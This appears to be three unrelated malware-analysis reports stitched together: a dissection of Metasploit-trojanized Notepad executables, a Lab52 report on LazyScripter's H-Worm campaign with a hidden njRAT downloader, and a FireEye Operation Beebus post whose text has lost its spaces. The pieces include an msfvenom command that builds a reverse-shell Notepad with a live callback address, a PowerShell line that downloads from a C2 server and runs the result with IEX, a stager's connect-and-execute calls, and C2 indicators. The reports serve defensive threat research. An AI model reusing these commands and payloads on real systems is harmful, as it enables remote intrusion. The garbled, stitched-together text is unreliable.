The Import Address Table (IAT), original entry point (OEP, green), malware entry point (EP, yellow), load configuration directory (LC), import directory (Imp), and debug directory (Dbg) are labeled.
While the arrangement of the structures varies among families, its clear from the figure above that the region between structures containing the original entry point has in each case been filled with modifications.
Notably, each sample has a short run of consecutive modifications immediately following the new entry point, and then a longer run elsewhere in the region.
Presumably, both runs are injected malicious code, and the other modifications may well be random noise intended as a distraction.
Since there are no other changes and no appended data, its reasonable to assume that the code that makes a Notepad act like Notepad is simply gone, and that the samples will behave only maliciously.
If true, then these modifications would represent a backdooring or Trojanization rather than a parasitic infection, and this distinction implies certain things about how the Notepads were made and how they might be used.
Tales from the Code Lets take a look at the entry point code of the malicious Notepads and see if it aligns with our observations.
The short answer is, it looks like nonsense.
Heres a snippet from Notepad4.exe: 010067E3        sbb     eax, 2C7AE239 010067E8        test    al, 80 010067EA        test    eax, 498DBAD5 010067F0        jle     short 01006831 010067F2        sub     eax, B69F4A73 010067F7        or      edx, esi 010067F9        jnz     short 01006800 010067FB        inc     ebx 010067FC        mov     cl, 91 010067FE        cwde 010067FF        jnp     short 01006803 At this point the code becomes difficult to list due to instruction scission, or branching into the middle of an instruction (analogous to a frameshift error in DNA translation, if that helps).
For instance, the JNP instruction at 010067FF is a two-byte instruction, and the JNZ branch at 010067F9, if satisfied, jumps to the JNP instructions second byte at 01006800.
That byte begins a different two-byte instruction, which incorporates what would have otherwise been the first byte of the instruction after the JNP, meaning its successor will start in the middle of JNPs successor, and so on.
The two execution paths usually (but dont necessarily) converge after a few instructions.
The outcome of these instructions depends on the initial state of the registers, which is technically undefined.
Seeing code operate on undefined values typically suggests that the bytes arent code after all and so shouldnt have been disassembled.
But keep looking.
Notice that there are no memory accesses (which could raise an access violation), no stack pointer manipulation (which could cause a stack overflow or underflow), no division instructions (which could raise a divide exception), no invalid or privileged instructions, no interrupts or indirect branches--really, no uncontrolled execution transfers of any kind.
Even more tellingly, all the possible execution paths seem to eventually flow to this code: 01006877        mov     ch, 15 01006879        cmp     eax, 4941B62F 0100687E        xchg    eax, ebx 0100687F        mov     cl, 4B 01006881        stc 01006882        wait 01006883        xchg    eax, ecx 01006884        inc     ebx 01006885        cld 01006886        db 67 01006887        aaa 01006888        cwde 01006889        sub     eax, 24401D66 0100688E        dec     eax 0100688F        add     al, F8 01006891        jmp     01005747 01005747        nop 01005748        jmp     01005758 01005758        cld 01005759        nop 0100575A        jmp     short 01005768 01005768       call    01005A70 01005A70       nop 01005A71       pop    ebp 01005A72        jmp     01005A85 01005A85        nop 01005A86       mov     esi, 000001A9 01005A8B        jmp     01005A99 01005A99       push    00000040 01005A9B       push    00001000 01005AA0        nop 01005AA1        jmp     01005AAF 01005AAF       push    esi 01005AB0        nop 01005AB1        jmp     01005AC2 01005AC2       push    0 01005AC4       push    E553A458 01005AC9        jmp     01005AD7 01005AD7       call    ebp Here the gaps in the listing indicate when the disassembly follows an unconditional branch.
The code seems to abruptly change character after the jump at 01006891, transitioning from gibberish to a string of short sequences connected by unconditional branches.
This transition corresponds to a jump from the end of the short run of modifications (01006896) after the malware entry point to the beginning of the longer run of modifications (01005747) a few kilobytes before it.
(See the third column in Figure 3.)
In the disassembly above, the first sequence of green lines is a clear CALL-POP pair intended to obtain a code address in a position-independent way.
(
An immediate address value marked with a relocation would be the orthodox way to obtain a code pointer, but preparing that would have involved modifying the .reloc section.)
No way is this construct a coincidence.
Furthermore, the blue lines strongly resemble the setup for a VirtualAlloc call (VirtualAlloc(NULL, 0x1A9, MEM_COMMIT, PAGE_EXECUTE_READWRITE)) typical of a deobfuscation stub, and the second set of green lines invoke the CALL-POPped function pointer with what one might readily assume is a hash of the string VirtualAlloc.
(
It is.)
Theres plenty more to observe in the disassembly, but, lets fast-forward past it.
windbg -c bp kernel32VirtualAlloc  g Notepad4.exe...
Figure 4.
VirtualAlloc breakpoint hit.
The parameters on the stack and the state of the registers are as expected.
g poi(esp)  ba w 1 eaxesi-1  g...
Figure 5.
Memory write (hardware) breakpoint hit after the last (0x1A9th) byte is written to allocated memory.
And now we can dump the extracted code from memory.
It isnt immediately gratifying: 00100000        fabs 00100002        mov     edx, 4DF05534    initial XOR key 00100007        fnstenv [esp-0C]        old trick to get EIP 0010000B        pop     eax 0010000C        sub     ecx, ecx 0010000E        mov     cl, 64           length in DWORDs 00100010        xor     [eax19], edx 00100013        add     edx, [eax19]   XOR key is modified after each DWORD 00100016        add     eax, 4 00100019        db D6 The byte 0xD6 at address 00100019 doesnt disassemble, and there arent any branches skipping over it.
But check out the instructions just above it referencing [eax19].
The code is in a sense self-modifying, flowing right into a portion of itself that it XOR decodes.
The first decoded instruction is LOOP 00100010 (0xD6  0x34  0xE2, the opcode for LOOP), which will execute the XOR loop body 99 more times (CL - 1  0x63  99) and then fall through to the newly-decoded code.
When we run this decoding stub (which, come to find out, is Metasploits shikata ga nai decoder stub) to completion, were rewarded with... another decoding stub: 0010001B        fcmovu  st, st(1)   a different initial FPU instruction from above 0010001D        fnstenv [esp-0C]    different ordering of independent instructions 00100021        mov     ebx, C2208861   a different initial XOR key and register 00100026        pop     ebp         a different code pointer register 00100027        xor     ecx, ecx    XOR as an alternative to SUB for zeroing counter 00100029        mov     cl, 5D      a shorter length 0010002B        xor     [ebp1A], ebx   decoding starts at a different offset 0010002E        add     ebx, [ebp1A] 00100031        sub     ebp, FFFFFFFC   SUB -4 as an alternative to ADD 4 00100034        loop    000FFFCA    instruction is partly encoded Here, the first byte to be XORed is the second byte of the LOOP instruction, hence the nonsensical destination apparent in the pre-decoding disassembly above.
(
For brevity, we cut each listing at the first sign of encoding.)
Run that to completion, and then... 00100036        mov     edx, 463DC74D 0010003B        fcmovnbe st, st(0) 0010003D        fnstenv [esp-0C] 00100041        pop     eax 00100042        sub     ecx, ecx 00100044        mov     cl, 57   notice the length gets shorter each time 00100046        xor     [eax12], edx 00100049        add     eax, 4 0010004C        add     ebx, ds:[47B3DFC9]   instruction is partly encoded And then... 00100051        fcmovbe st, st(0) 00100053        mov     edx, 869A5D73 00100058        fnstenv [esp-0C] 0010005c        pop     eax 0010005d        sub     ecx, ecx 0010005f        mov     cl, 50 00100061        xor     [eax18],edx 00100064        add     eax, 4 00100067        add     edx, [eax67]   instruction is partly encoded And then... 0010006C        mov     eax, E878CF4D 00100071        fcmovnbe st, st(4) 00100073        fnstenv [esp-0C] 00100077        pop     ebx 00100078        sub     ecx, ecx 0010007A        mov     cl, 49 0010007C        xor     [ebx14], eax 0010007F        add     ebx, 4 00100082        add     eax, [ebx10] 00100085        scasd   incorrect disassembly of encoded byte Finally, at the end of six nested decoders, we see the light: 00100087        cld 00100088        call    00100116 0010008D        pushad 0010008E        mov     ebp, esp 00100090        xor     edx, edx 00100092        mov     edx, fs:[edx30]   PTEB-ProcessEnvironmentBlock 00100096        mov     edx, [edx0C]      PPEB-Ldr 00100099        mov     edx, [edx14]      PPEB_LDR_DATA- InMemoryOrderModuleList 0010009C        mov     esi, [edx28]      PLDR_MODULE.BaseDllName.
Buffer 0010009F        movzx   ecx, word ptr [edx26] PLDR_MODULE.BaseDllName.
MaximumLength 001000A3        xor     edi, edi 001000A5        xor     eax, eax 001000A7        lodsb 001000A8        cmp     al, 61   check for lowercase letter 001000AA        jl      001000ae 001000AC        sub     al, 20   convert to uppercase 001000AE        ror     edi, 0D 001000B1        add     edi, eax ...
It looks like a call over a typical module or export lookup function.
In fact, it is, and as the ROR-ADD pair suggests, it implements module name and export name hashing, the algorithms of which can be expressed as follows: unsigned int GetModuleNameHash(PLDR_MODULE pLdrModule)  unsigned int hash  0 char  p  (char ) pLdrModule-BaseDllName-Buffer for (int n  pLdrModule-BaseDllName-MaximumLength n  0 p, n--)  char ch  p if (ch  a) ch - 0x20 hash  _rotr(hash, 13)  (unsigned char) ch  return hash  unsigned int GetExportNameHash(char pszName)  unsigned int hash  0 for (   pszName)  hash  _rotr(hash, 13)  (unsigned char) pszName if (pszName  0) break  return hash  Still, this is all just preamble.
What is the point that it eventually gets to?
Youd be forgiven for assuming that the tremendous amount of effort poured into obfuscation means theres some treasure beyond all fables at the bottom of this erstwhile Notepad.
Sorry.
It just downloads and executes a block of raw code.
(
Spoiler: its actually a Metasploit reverse connect stager.)
Here is its behavior summarized as function calls: kernel32LoadLibraryA(ws2_32) ws2_32WSAStartup(...) s  ws2_32WSASocketA(AF_INET, SOCK_STREAM, ...) ws2_32connect(s,  sin_family  AF_INET, sin_port  htons(12345), sin_addr 108.175.152.230 , 0x10) ws2_32recv(s, cb, 4, 0) p  kernel32VirtualAlloc(NULL, cb, MEM_COMMIT, PAGE_EXECUTE_READWRITE) ws2_32recv(s, p, cb, 0) p() The above is known to be true for Notepad3.exe, Notepad4.exe, and notepad10.exe.
NOTEPAD2.EXE doesnt seem to want to run, for reasons we didnt bother to troubleshoot for the bad guys.
Denouement Unfortunately, we never did obtain a sample of the code that might have been downloaded.
The key to that enigma-embedded, mystery-wrapped riddle is forever lost to us.
The best we can do is read whats written in the Notepads and speculate as to why they exist at all.
Clearly whatever generator created these Notepads is far, far beyond the technical understanding of the Cleaver team.
It stands to reason that there is a generator--no chance these were crafted by hand--and that its sophistication is even greater than that of its output.
Something like that wouldnt be used only once.
Something like that, if this team was able to get ahold of it, must be out there.
Turn the right corner of the internet, and you can find anything... Well it so happens that we did eventually find it.
Some of you have no doubt suspected it all along, and now Ill humbly confirm it for you: the Notepads were, in their entirety, generated by Metasploit.
Something along the lines of msfvenom -x notepad.exe -p windows/shell/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST108.175.152.230 LPORT12345  Notepad4.exe.
The msfvenom tool transmogrifies a Metasploit payload into a standalone EXE, and with the -x switch, itll fuse the payload- -encoded as desired--into a copy of an existing executable, exhibiting exactly the behavior we just described.
Omne ignotum pro magnifico.
Perhaps the more bizarre a thing is, the less mysterious it proves to be.
However, were still left to wonder what Cleaver was up to when they generated all those Notepads.
One conclusion Brian proposed is that theyre intended as backdoors--replacements for the legitimate Notepad on a compromised system--which would enable Cleaver to regain access to a system at some indeterminate time in the future, the next time a user runs Notepad.
The team demonstrated a similarly intentioned tactic with a connect-back shell scheduled to run in a six-minute window each night the Notepad replacement, while more intrusive, could be another example of this contingency planning tendency.
Or maybe the Notepads were only an aborted experiment, attempted and shelved, forgotten in a flurry of compromises and criminal activity.
If nothing else, they made for an unexpected bit of mystery.
1/14 _thespis Very very lazy Lazyscripters scripts: double compromise in a single obfuscation lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation In July of 2021, we identified an infection campaign targeting important European entities.
During this investigation we could identify the threat actor behind these attacks as LazyScripter, an emerging APT group pointed by MalwareBytes in February 2021.
Through our analysis, we could track their activity with precise dates in 2021 based on their samples.
Furthermore, we could extend the intelligence upon this threat actor by identifying a new malware among their TTPs, and also find new elements of the infrastructure.
Additionally, after the analysis of the samples, we discovered the usage of a free and popular online obfuscating tool for scripts, which would inject their own downloader for a njRAT sample within LazyScripters malware.
Meaning that, if some entity happened to be compromised by a one of these samples of LazyScripter, they would probably be compromised by two different threat actors.
For this campaign, the malicious actor used phishing emails as the initial vector, pretending to be relevant international entities such as the United Nations World Tourism Organization (UNWTO or the International Air Transport Association (IATA).
In the malicious emails, the actor would usually attach three compressed files: a pdf document, and two JavaScript files.
https://lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation/ https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf 2/14 PDF document from spear phishing After the analysis of the first pdf document that ended up in our hands (JOB NOTICE.pdf UNWTO) we did not observed embedded code, or any malicious behavior.
However, metadata revealed that it had been edited with a PDF editor referred to as Foxit on July 13th 2021, less than a month before we identified this campaign.
Producer: Foxit PhantomPDF Printer Version 9.6.0.1818 CreationDate: Tue Nov 10 08:30:41 2020 CET ModDate: Tue Jul 13 22:17:50 2021 CEST The only technical element of real interest found in this document was the hyperlink in which the user is suggested to click in order to obtain more information about the fake job offer at UNWTO.
3/14 This link will open a browser and contact the domain securessl.
]fit which was registered on July 17th 2021 and resolves in the address 192.64.
]119.125, associated with the provider/web- hosting Namecheap.
It has been observed that the final URL shows up as follows, after a redirection by an HTTP 302 response from the server, not serving any file at the moment of the analysis, but suggesting it was supposed to serve a .zip file (though, we did not discard IP geofence): Final HTTP response via hyperklink from PDF doc After the analysis of the HTTP traffic flow with this domain, the redirection is observed to be hidden behind a domain which belongs to the duckdns service for dynamic domains resolutions: Middle/Transitional HTTP request from PDF This domain resolves in the IP address 66.29.
]130.204.
Even so, the redirection through this address uses TLS encryption, so it is not possible to know what has occurred during the communication until the final redirection, which ends with the previously shown HTTP 404 response code.
Nevertheless, it has been indeed observed how that same IP address is associated to the server1 hostname in the domain gowaymevps.
]xyz (registered on May 12th 2021).
4/14 Final HTTP request from PDF Traffic capture for the PDF hyperlink The other two files found along with this PDF at its arrival via phishing email have the exact same content (even same hash) in spite of having a different name: LIST OF AVAILABLE JOBS.js SALARY AND HIRING CONDITIONS.js This highly obfuscated JavaScript has the only purpose of dropping a second VBS script, which will be placed in the following paths: C:\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tk.vbs C:\Users\\AppData\Roaming\tk.vbs For those samples where the VBS script was not dropped in the startup folder, the following persistence mechanism would be established using the registry keys: HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\tk Details: wscript.exe //B C:\Users\Lucas\AppData\Roaming\tk.vbs HKU\\Software\Microsoft\Windows\CurrentVersion\Run\tk Details: wscript.exe //B C:\Users\Lucas\AppData\Roaming\tk.vbs 1 5/14 And here is where the real fun begins.
In the initial behavior analysis of these next stage VBS samples, we observed C2 contact through HTTP POST requests to the port 449 of the IP address 45.91.92.112 resolved from stub.]ignorelist.
]com.
At this point we could find an attribution according to different reports, since the domain stub.]ignorelist.
]com had been used by the group referred as LazyScripter in their previous campaign.
The HTTP request is made using the path /is-ready in the URI and it includes initial information about the infected system within the User-Agent header value: VBS sample HTTP request Furthermore, we also observed that the vbs script also dropped to disk the following .lnk file: C:\Users\Lucas\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windowsUpdate.lnk This direct access points at the following Powershell execution: NQJLOJWQ(Get-ItemProperty HKCU:\Software).Sat WASUXIQO(Get-ItemProperty HKCU:\Software).Dat NILSHSEJ(Get-ItemProperty HKCU:\Software).Gat MYG The values of the registry keys which this command refers to contain this series of Powershell commands: [System.
Net.
WebClient]webClient  New-Object System.
Net.
WebClient [System.
IO.Stream]stream  webClient.
OpenRead(http://185.
81.157.186/NDA/199.png) [System.
IO.StreamReader]sr  New-Object System.
IO.StreamReader -argumentList stream [string]results  sr.
ReadToEnd() IEX results Registry Keys set by VBS sample 6/14 Our first impression was a little bit of a surprise since we just observed the sample establishing a second persistence in the same startup folder for an artifact (the lnk file) that would use a different C2.
After deobfuscating the VBS script we could identify the malware sample as Houdinis H- Worm, but preceded by an interesting line, still slightly obfuscated.
This single line was responsible for this second kind of parallel behavior (new persistence using the lnk file and a different C2).
While the first mentioned IP addresses and domains or the infection chain were not easily linked to malicious activity through OSINT, this last one was quickly tagged as malicious everywhere.
OSINT results for suspicious IP address Now it started to get even more interesting as we also discovered that, even though no domain points at this IP address at this time, it used to resolve from the hackfree.
]org domain, which belongs to top 1 million, and seems to be some web service for offensive operations/techniques: 7/14 DNS resolutions on suspicious IP address Google results for hackfree.
]org Since this finding could be a little confusing as it was for us, lets go back to the dropped VBS script.
This script will be the one which implements the RAT identified as H-worm after a complex nested obfuscation, prepended with a confusing extra line.
8/14 Part of such obfuscation implied the creation of a new script object which will execute the deobfuscate code.
For this purpose, the first part of the logic consists in identifying the architecture of the infected system, and then creating nested ScriptControl objects, where the code which implements the totality of H-worm will be added.
Such code is read from an array which must be necessarily located in the last line of the file, commented, and which contains a total of 16.153 obfuscated elements.
Content of VBS sample (tk.vbs) 9/14 tk.vbs deobfuscated Now, we could know that this VBS script acted as some sort of loader for the final stage artifact, which was fully implemented in the aforementioned last line, supposed to be a commented line in VBS.
In order to compare the different samples that we gathered, we implemented an automatic deobfuscator to straightly obtain the deobfuscated code implemented in the commented line and we always found this first line prepended before the H-worm code.
Final VBS payload (H-Worm) 10/14 Before analyzing this extra suspicious code, which we could corroborate it was not part of the known source code for H-Worm, the obvious thought was that these lines were added by the LazyScripter criminals and that they were placing dates in the script for their own reasons.
However, it still seemed weird that they would reward the threat/forensic analysts with a precise date for each sample.
After the analysis of the snippets, we observed that the samples would compare the current date with the hardcoded date, and if the hardcoded day arrived or passed, it would execute a specific function appended at the end of H-Worms code.
This function would only drop the previously described .lnk file and set the mentioned registry key values so as to download a sample of njRAT.
Even though the author of H-Worm, known as Houdini had been connected to the development of njRAT, we knew this wasnt part of the known implementation for H-Worm, and still looked odd as a TTP from the same infection campaign.
Trying to make sense out of it, we had the brainwave of using the information we had about this parallel behavior and make a quick check: We previously found out that they might have been using hackfree.
]org as an online obfuscation service for VBS script, so we created our own dummy VBS script and submitted it to hackfree for obfuscation.
Then we applied our implemented deobfuscator.
Implemented dummy VBS script 11/14 Dummy VBS script obfuscated via hackfree website Deobfuscation of obfuscated dummy VBS script 12/14 At this point, we discovered that hackfree].org was injecting their own malware in every obfuscated script via their website, and this would lead in a double infection for malware obfuscated with hackfree.
]org, or a first sneaky infection for those scripts that were obfuscated for legitimate purposes.
At this last scenario we could confirm that hackfree.
]org would be a waterhole attack.
Finally, back to the tracked threat actor, we could distinguish between LazyScripters indicators of compromise, and HackFrees IOCs, resulting in the following diagram for this LazyScripter campaign main infrastructure and infection chain.
LazyScripters H-Worm campaigns main infrastructure IOCs 13/14 0fc8d0c3b6ab22533153b7296e597312fc8cf02e2ea92de226d93c09eaf8e579 SHA256 77afef33c249d4d7bb076079eff1cca2aef272c84720e7f258435728be3bf049 SHA256 82f6c8b52103272fcfb27ac71bd4bff76ee970dd16e5cdf3d0cfb75d10aa0609 SHA256 5803ded992498b5bd5045095ca1eab33be8a4f9d785fdfc8b231127edf049e72 SHA256 f5359df2aaa02fbfae540934f3e8f8a2ab362f7ee92dda536846afb67cea1b02 SHA256 c685897eb3f32ced2b6e404e424ca01d0bc8c88b83da067fbef7e7fe889cffad SHA256 23ea10f4b1a73a4e8b13466fff8983110216779d2d3cefe1fc151c6bb65c3b42 SHA256 45.91.92.112:449 C2 185.81.157.186 C2 192.64.119.125 C2 157.245.250.76 C2 66.29.130.204 C2 147.182.192.241 C2 103.73.64.115 C2 http://185.81.
]157.186/NDA/199.png URI http://157.245.
]250.76/MORE20INFORMATION20ON20OFFERS.zip URI stub.
]ignorelist.com C2 Domain securessl.
]fit C2 Domain gowaymevps.
]xyz C2 Domain milla.publicvm.
]com C2 Domain internetexploraldon.
]sytes.net C2 Domain jbizgsvhzj22evqon9ezz8bmbupp1s6cprmriam1.duckdns.
]org C2 Domain saqicpcgflrlgxgoxxzkbfrjuisbkozeqrmthrzo.duckdns.
]org C2 Domain u1153246fov.ha004.t.justns.
]ru C2 Domain HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\tk Reg Key HKU\Software\Microsoft\Windows\CurrentVersion\Run\tk Reg Key 14/14 C:\Users\Lucas\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windowsUpdate.lnk File persistence Customers with Lab52s APT intelligence private feed service already have more tools and means of detection for this campaign.
In case of having threat hunting service or being client of S2Grupo CERT, this intelligence has already been applied.
If you need more information about Lab52s private APT intelligence feed service, you can contact us through the following link https://lab52.io/contact
4/10/2016 Operation Beebus  Threat Research Blog  FireEye Inc OPERATION BEEBUS February01,2013byVinayPidathala,ZhengBu,ThoufiqueHaq,DarienKindlundTargetedAttack FireEyediscoveredanAPTcampaignconsistentlytargetingcompaniesintheaerospaceanddefenseindustries.
Thecampaignhasbeenineffectforsometimenow.
Infection Vector Wehaveseenthiscampaignusebothemailanddrivebydownloadsasameansofinfectingendusers.
Thethreatactorhasconsistentlyusedattachmentnamesofdocuments/white papersreleasedbywellknowncompanies.
ThemaliciousemailattachmentexploitssomecommonvulnerabilitiesinPDFandDOCfiles.
PDF: CVE20110611 DOC: CVE20120158 PDF: CVE20090927 DOC: CVE20103333 PDF: CVE20120754 DOC: Table1 The malwareusesawelldocumentedvulnerabilityintheWindowsOSknownasDLLsearchorderhijacking.
ThereisanorderinwhichexecutablesloadDLLsontheWindowsoperating system.
ThisparticularmalwaretakesadvantageofthisvulnerabilityanddropsaDLLcalledntshrui.
DLLintheC:\Windowsdirectory.
Thefirstplacefromwheretheexecutablelookstoload theDLLisitsowndirectory.
Bydroppingthentshrui.
DLLinthedirectoryC:\Windows,themalwareachievespersistence.
Figures1and2belowshowthemodifiedweaponizedPDF,whichwasusedinthespearphishingattack.
ThePDFontheleftisthenonmaliciousversion,whiletheoneontherightis malicious.
Asyoucanseefromthepicturesbelow,theoriginalPDFwasmodifiedusingtheGhostscripttool.
AlsothesizeofthemaliciousPDFissignificantlysmallerthanthenonmalicious version.
Figure1 Figure2 Home FireEye Blogs Threat Research Blog Operation Beebus Menu Customer Stories  Blogs https://www.fireeye.com/blog/threat-research.html/category/etc/tags/fireeye-blog-authors/cap-vinay-pidathala https://www.fireeye.com/blog/threat-research.html/category/etc/tags/fireeye-blog-authors/cap-zheng-bu https://www.fireeye.com/blog/threat-research.html/category/etc/tags/fireeye-blog-authors/cap-thoufique-haq https://www.fireeye.com/blog/threat-research.html/category/etc/tags/fireeye-blog-authors/cap-darien-kindlund https://www.fireeye.com/blog/threat-research.html/category/etc/tags/fireeye-blog-threat-research/threat-research/targeted-attack https://www.fireeye.com/content/dam/legacy/blog/2013/02/6a00d835018afd53ef017c368069e0970b-800wi1.jpg https://www.fireeye.com/content/dam/legacy/blog/2013/02/6a00d835018afd53ef017c36806a50970b-800wi1.jpg https://www.fireeye.com/index.html https://www.fireeye.com/blog.html https://www.fireeye.com/blog/threat-research.html https://www.fireeye.com/customers.html https://www.fireeye.com/blog.html https://www.fireeye.com/index.html 4/10/2016 Operation Beebus  Threat Research Blog  FireEye IncCommand and Control Figure3.InitialGETrequest Themalwarecommunicateswitharemotecommandandcontrol(CnC)server.
TheGETrequestinFigure4istheinitialrequestthatthecompromisedmachinemakestocheckinwiththe CnCserver.
Thekeywordp2,whichissentoutaspartoftheURI,appearstoindicatetheversionofthemalware.
Miningourdatabasewefoundthreeversionsofthismalwareandthey arenotedinthetablebelow.
Theversionvalueishardcodedinthentshrui.
DLLfileinthesamplesweobserved.
Figure4.EncrypteddatasenttoCnC Itencryptsinformationitcollectswiththebase64algorithmandthensendsittotheremoteCnCserverasseeninFigure4.Itisinterestingtonotethatthebase64dataissubjectedtosome substitutionsbeforeitissentoutpreventingrunofthemillinspectiononthewire.
Itreplacesthe/(forwardslash)and(plus)characterswhicharepartofthebase64charactersetwith_ (underscore)and(hyphen)respectively.
ThecodethatperformsthisoperationisshowninFigure5.
Figure5 AsampleofthedatathatisencryptedandsenttotheCnCserverforversionp2isseeninthememorydumpshowninFigure6.Atoffset47itcontainsatimebasedcounter.
Itusesthe keywordosamuinthisinstancetoidentifythisparticularcampaign.
Thecampaignkeywordsarenotsentoutinversionp1butcanstillbefoundhardcodedintheDLLpayload.
The hostnameandOSinformationarealsoincludedinthebeacon.
ItawaitsfurthercommandsfromtheCnCserverinresponsetothedatasentout.
Figure6 Ithasmodulestocapturesysteminformation(processor,disk,memory,OS),processid,processstarttime,andcurrentuserinformation.
Italsocontainsamoduletodownloadandexecute additionalpayloadsandupdates.
ItdownloadsintoTEMPdirectoryandcallsCreateProcessAtoinvokeexecutionasseenbelow: Figure7 Figure8 ThePOSTrequestlooksverysimilartotheGETrequestandusesbase64encodingtoencodetheURI.
https://www.fireeye.com/content/dam/legacy/blog/2013/02/6a00d835018afd53ef017c36806ac4970b-800wi1.jpg https://www.fireeye.com/content/dam/legacy/blog/2013/02/6a00d835018afd53ef017d40af00cb970c-800wi1.jpg https://www.fireeye.com/content/dam/legacy/blog/2013/02/6a00d835018afd53ef017d40af0482970c-800wi.jpg https://www.fireeye.com/content/dam/legacy/blog/2013/02/6a00d835018afd53ef017c36806fae970b-800wi.jpg https://www.fireeye.com/content/dam/legacy/blog/2013/02/6a00d835018afd53ef017c3680706d970b-800wi.jpg https://www.fireeye.com/content/dam/legacy/blog/2013/02/6a00d835018afd53ef017c3680711e970b-800wi.jpg 4/10/2016 Operation Beebus  Threat Research Blog  FireEye IncPOST/s/asp?
__
uLBwO1bAMKBgG2BQAAAAEAAAACAAAAAAAAAG9zYW11AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVwBJAE4ARABPAFcAUwBNAEEAQQBOAEUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp2 HTTP/1.1 UserAgent:Mozilla/4.0(compatible) Accept:/ Host: ContentLength:563 Connection:KeepAlive CacheControl:nocache Themalwarecollectsthefollowinginformationfromthecompromisedmachine.
1)TypeofProcessor 2)CPUSpeed 3)Figuresouttheproducttypebyqueryingthe\SYSTEM\CurrentControlSet\Control\ProductOptions\ProductTyperegistrykey.
4)MemoryUsage Figure9 ThemalwareisfairlynoisysendingmultipleGETrequests.
InourtestenvironmentweobservedthatthePOSTrequeststartedacoupleofhoursafterthemalwareinitiallycheckedinwith theCnC.AroundthesametimewealsonoticedanewexegetdroppedunderC:\DocumentsAndSettings\Administrator\LocalSetting\TempISUN32.exe.
Thetwofiguresbelowshowthe ISUN32.exeprocessstartupandtheexegetdroppedunderTEMPdirectory.
Figure10 Figure11 https://www.fireeye.com/content/dam/legacy/blog/2013/02/6a00d835018afd53ef017c36807d6d970b-800wi.jpg https://www.fireeye.com/content/dam/legacy/blog/2013/02/6a00d835018afd53ef017d40af12f5970c-800wi.jpg https://www.fireeye.com/content/dam/legacy/blog/2013/02/6a00d835018afd53ef017d40af1364970c-800wi.jpg 4/10/2016 Operation Beebus  Threat Research Blog  FireEye IncWehaveafulllistwhichsummarizestheattachmentnames,campaigncodes,andcampaigndurationofthisparticularoperation.
Thetablealsoincludesthemd5sumofthemalware payloads.
Belowisasubsetofattachmentnamesthatwehaveobserved.
Wearewillingtoshareadditionalinformationwiththesecuritycommunity.
Pleasecontactresearchatfireeyedot comformoreinformation.
sensorenvironments.doc Global_AD_outlook_2012.pdf FY2013_Budget_Request.doc Understandyourbloodtestreport.pdf RHT_SalaryGuide_2012.pdf SecurityPredictionsfor2012and2013.pdf AprilIstheCruelestMonth.pdf NationalHumanRightsActionPlanofChina(20122015).pdf DeptofDefenseFY12ASTTRSolicitationTopicsofInteresttoBoeing.pdf Boeing_Current_Market_Outlook_2011_to_2030.pdf RHT_SalaryGuide_2012.pdf doddfrankconflictminerals.doc ConflictMineralsOverviewforKPMG.doc .doc TimelineoftheBeebusCampaign Fromthetimelinebelow,wewereabletofigureoutthatthiscampaignhasbeentargetingcompaniesintheAerospaceandDefenseverticalinwaves.
Thereisnospecificpatterntothis attack,wehaveseendaysonwhichmultipleweaponizedemailsweresenttoseveralcompanies,andonotherdaysweobservedthatthethreatactorsentonlyoneemailtoaspecifictarget organization.
ThechartbelowshowsBeebusattacksinthelastyear.
ORIGIN/THREATACTORATTRIBUTION: ThetermBeebuswascoinedfromaninitialsampleinthiscampaign(MD5:7ed557921ac60dfcb295ebabfd972301),whichwasoriginallysubmittedtoVirusTotalonApril12,2011.
[1]After thisexecutablecompromisestheendpoint,thissamplethengeneratedcommandandcontroltrafficto: GET/s/asp?XAAAAM4w5jmOS_kMZlr67o8jettxsYA8dZgeNAHesNn5p6AFUD6yncpz5AL6wAAAp1HTTP/1.1 UserAgent:Mozilla/4.0(compatible) Accept:/ Host:bee.businessconsults.net AsearlyasMarch2011,JoeStewartatDellSecureWorksreportedthatvarioussubdomainsofftheprimarydomainofbusinessconsults.nethaveactedascommandandcontrolnodesfor thewellknownHUCPacketTransmitTool(akaHTran)[2],whichisalightweightTCPproxytoolusedbythenationstatethreatactorthatbreachedRSAaroundthattime,labeledby https://www.fireeye.com/content/dam/legacy/blog/2013/02/6a00d835018afd53ef017d40af13f2970c-800wi.jpg https://www.fireeye.com/content/dam/legacy/blog/2013/02/6a00d835018afd53ef017ee823cabc970d-800wi.jpg https://www.virustotal.com/search/query7ed557921ac60dfcb295ebabfd972301 4/10/2016 Operation Beebus  Threat Research Blog  FireEye IncMcAfeeasOperationShadyRAT.
[3]AccordingtoMcAfee,oneofthemajortools,techniques,andprocedures(TTPs)usedbythisthreatactorwastheiruseofobfuscatedorencrypted HTMLcommentsembeddedinotherwisebenignwebsites,inordertoindirectlycontrolcompromisedendpoints.
Assuch,thisTTPofobfuscated/encryptedHTMLcommentshasbeenalsowidelyreportedinthemediaasassociatedwiththenationstategroupcalledCommentGrouporComment Team,whichisbelievedtobeassociatedwiththeChinesegovernment.
[4]BloombergreportsthatvariousUSintelligencesourceshavelabeledthisactivityasByzantineCandor, accordingly.
[5] Baseduponthesecorrelations,webelieveBeebustobeyetanotherTTPassociatedwiththreatactorsbasedinChina.
Anotherrelatedsample(MD5:d7ec457be3fad8057580e07cae74becb)wasoriginallysubmittedtoVirusTotalonSept.23,2011[6]andgeneratesthefollowing Beebustrafficpattern: GET/s/asp?XAAAAM4w5jmIa_kMZlr67o8jettxsYA8dZgeNAHesNn5p6AFUD6yncpz5AL6wAAAp1HTTP/1.1 UserAgent:Mozilla/4.0(compatible) Accept:/ Host:68.96.31.136 Siilarly,theIPaddress(68.96.31.136)wasanotherC2nodereportedbyDellSecureWorksashostingtheHTranproxyinfrastructure.
